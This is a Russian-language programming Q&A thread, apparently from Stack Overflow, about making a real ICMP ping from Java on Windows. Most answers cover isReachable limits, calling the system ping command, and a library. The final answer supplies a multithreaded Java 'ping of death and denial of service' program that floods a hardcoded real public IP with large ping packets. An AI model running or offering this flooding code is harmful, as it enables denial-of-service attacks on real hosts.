как сделать настоящий пинг java из windows?

<p>у меня есть устройство в сети, которое я пытаюсь пропинговать через программу java. через мою команду windows prompt я могу проверить адрес устройства в порядке и выполнить трассировку адреса.</p><p>в сети я видел, что для выполнения ping через java вам нужно сделать следующее:</p><pre><code>inetaddress.getbyname(address).isreachable(timeout); </code></pre><p>но когда я использую этот код в адресе своего устройства, он всегда возвращает false в моей программе. я использую правильный адрес ipv4 с хорошим значением времени ожидания. кроме того, если я использую адрес localhost, он работает нормально.</p><p>почему я могу пропинговать устройство через cmd, а не через мою программу? я слышал в разных местах, что это не<em> правда </em>пинг.</p><p>есть ли лучший способ эмулировать пинг в java?</p><p>спасибо</p>

<p><code>isreachable()</code> будет использовать <code>icmp echo request</code>s <em>, если привилегия может быть получена</em>, в противном случае он попытается установить соединение tcp через порт 7 (echo) хоста назначения.<br> таким образом, ваша проблема, вероятно, заключается в проблеме конфигурации, когда недостаточно разрешений для этого на клиентском компьютере, или проблема с портом 7 на сервере, если у вашего клиента нет разрешения на выполнение <code>icmp echo request</code>. вероятно, в обоих случаях вам нужно решить одну или другую сторону, чтобы заставить это работать.</p><p>я протестировал следующее на клиентах osx и linux, и оно работает при тестировании на доступность других машин с osx, linux и windows server. у меня нет машины с windows, чтобы запустить это как клиент.</p><pre><code>import java.io.ioexception; import java.net.inetaddress; public class isreachable { public static void main(final string[] args) throws ioexception { final inetaddress host = inetaddress.getbyname(args[0]); system.out.println("host.isreachable(1000) = " + host.isreachable(1000)); } } </code></pre><p>из того, что я прочитал <a href="http://bordet.blogspot.com/2006/07/icmp-and-inetaddressisreachable.html">здесь</a> . это, очевидно, ограничение windows, и <code>icmp ping</code> не поддерживается в windows как системный вызов, предшествующий windows 2000, поэтому по умолчанию он пытается подключиться к порту 7, и он заблокирован на машине, к которой вы пытаетесь «добраться». java пока не поддерживает новый системный вызов. назначение разрешений предназначено для систем на основе unix, так как они требуют, чтобы root отправлял пакеты <code>icmp</code>.</p><p>если вы хотите свернуть свой собственный родной windows <a href="http://www.acm.org/crossroads/xrds4-2/jni.html">jni</a> <code>icmp ping</code> для windows 2000 и новее, есть функция <a href="http://msdn.microsoft.com/en-us/library/aa366050%28vs.85%29.aspx">icmpsendecho</a> .</p>

<p>я использую эту функцию (из <a href="http://www.inprose.com/en/content/icmp-ping-in-java">этой статьи</a> ), когда мне нужен настоящий icmp-пинг в windows, linux и osx (я не тестировал другие системы). </p><pre><code>public static boolean isreachablebyping(string host) { try{ string cmd = ""; if(system.getproperty("os.name").startswith("windows")) { // for windows cmd = "ping -n 1 " + host; } else { // for linux and osx cmd = "ping -c 1 " + host; } process myprocess = runtime.getruntime().exec(cmd); myprocess.waitfor(); if(myprocess.exitvalue() == 0) { return true; } else { return false; } } catch( exception e ) { e.printstacktrace(); return false; } } </code></pre>

<p>немного поздно, но я наткнулся на это, пытаясь сделать то же самое.</p><p>один из обходных путей, который работал для меня и который я использовал, состоял в том, чтобы просто использовать команду ping напрямую.</p><pre><code> public static boolean ping(string host) { boolean isreachable = false; try { process proc = new processbuilder("ping", host).start(); int exitvalue = proc.waitfor(); system.out.println("exit value:" + exitvalue); if(exitvalue == 0) isreachable = true; } catch (ioexception e1) { system.out.println(e1.getmessage()); e1.printstacktrace(); } catch (interruptedexception e) { e.printstacktrace(); } return isreachable; } </code></pre>

<p>я видел много плохого кода, написанного на эту тему. код, который работал для меня это (сайт не знает, как правильно проанализировать мой файл кода): </p><pre><code>public class test { public static boolean isreachablebyping(string ip) { try { string command; if(system.getproperty("os.name").tolowercase().startswith("windows")) { // for windows command = "ping -n 2 " + ip; } else { // for linux and osx command = "ping -c 2 " + ip; } process proc = runtime.getruntime().exec(command); streamgobbler outputgobbler = new streamgobbler(proc.getinputstream(), "output"); outputgobbler.start(); proc.waitfor(); return checkavailability(outputgobbler.getoutputlines()); } catch(ioexception | interruptedexception ex) { logger.getlogger(streamgobbler.class.getname()).log(level.severe, null, ex); } return false; } public static void main(string... args) { string ip = "10.20.20.17"; // false in my case string ip1 = "10.20.20.100"; // true in my case system.out.println(ip + " is avalaible " + isreachablebyping(ip)); system.out.println(ip1 + " is avalaible " + isreachablebyping(ip1)); } private static boolean checkavailability(list<string> outputlines) { for(string line : outputlines) { if(line.contains("unreachable")) { return false; } if(line.contains("ttl=")) { return true; } } return false; } } class streamgobbler extends thread { protected inputstream is; protected string type; protected list<string> outputlines; streamgobbler(inputstream is, string type) { this.is = is; this.type = type; outputlines = new arraylist<>(); } public list<string> getoutputlines() { return outputlines; } @override public void run() { try { inputstreamreader isr = new inputstreamreader(is); bufferedreader br = new bufferedreader(isr); string line; while((line = br.readline()) != null) { outputlines.add(line); } } catch(ioexception ex) { logger.getlogger(streamgobbler.class.getname()).log(level.severe, null, ex); } } } </code></pre>

<p>для простого пинга из java без привилегий я использую <a href="http://www.icmp4j.org">http://www.icmp4j.org</a> </p><p>это очень легко использовать:</p><pre><code> final icmppingrequest request = icmppingutil.createicmppingrequest (); request.sethost ("www.google.org"); // repeat a few times for (int count = 1; count <= 4; count ++) { // delegate final icmppingresponse response = icmppingutil.executepingrequest (request); // log final string formattedresponse = icmppingutil.formatresponse (response); system.out.println (formattedresponse); // rest thread.sleep (1000); } </code></pre>

<p>одна из причин заключается в том, что указанное вами время ожидания слишком мало. у меня была похожая проблема, но когда я увеличил время ожидания до подходящего значения, вызов isreachable вернул правильное значение.</p>

<p>использование этого не поможет в случае проверки связи с общедоступными ip-адресами <strong>с помощью windows-машины</strong>:</p><pre><code>string ipaddress = "192.168.1.10"; inetaddress inet = inetaddress.getbyname(ipaddress); boolean reachable = inet.isreachable(5000); </code></pre><p>примечание. в документации указано, что:</p><blockquote> <p>типичная реализация будет использовать icmp echo requests, если <strong>privilege</strong> можно получить, в противном случае он попытается установить соединение <strong>tcp на порту 7 (echo)</strong> хоста назначения.</p> </blockquote><p>я пробовал это, но результаты не были точными.</p><p>что действительно сработало для меня, так это класс, написанный нашим коллегой-пользователем, который отправляет true <strong>icmp ping</strong> и возвращает true или false в зависимости от статуса ip.</p><p> <a href="https://stackoverflow.com/questions/19039646/odd-inetaddress-isreachable-issue/19383757#19383757">нечетная проблема inetaddress.isreachable ()</a> </p>

<p>следующий код java является примером ping of death и отказа в обслуживании с использованием microsoft windows. это должно использоваться в целях тестирования для создания защиты от взлома и/или тестирования производительности сайта в случае подобных кибератак.</p><pre><code>// begin ping of death and denial of service import java.awt.awtexception; import java.io.bufferedreader; import java.io.ioexception; import java.io.inputstreamreader; import java.net.urisyntaxexception; import jxl.read.biff.biffexception; import jxl.write.writeexception; public class podanddos { protected static final long serialversionuid = 300200; public static void main(string[] args) throws ioexception, urisyntaxexception, interruptedexception, awtexception, biffexception, writeexception { thread[] threads = new thread[300]; for (int i = 0; i < 300; i++) { threads[i] = new thread(new runnable() { public void run() { try { thread(); } catch (ioexception | interruptedexception e) { e.printstacktrace(); } } }); threads[i].start(); } for (int i = 0; i < 300; i++) { threads[i].join(); } } private static void thread() throws ioexception, interruptedexception { // ping of death string[] stringmove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" }; process processmove1 = runtime.getruntime().exec(stringmove1); bufferedreader varmove1 = new bufferedreader(new inputstreamreader(processmove1.getinputstream())); string temp1 = ""; @suppresswarnings("unused") string hostname1 = ""; while ((temp1 = varmove1.readline()) != null) { thread.sleep(2); hostname1 = temp1; } varmove1.close(); } } </code></pre><p>когда испытания завершены. возможно, вы захотите использовать следующий код для очистки процессов в диспетчере задач.</p><pre><code>import java.io.ioexception; //begin clean process public class cleanprocess { protected static final long serialversionuid = 300200; public static void main(string[] args) throws ioexception { // close every process of ping and cmd running from your pc runtime.getruntime().exec("taskkill /f /im ping.exe"); runtime.getruntime().exec("taskkill /f /im cmd.exe"); } } </code></pre>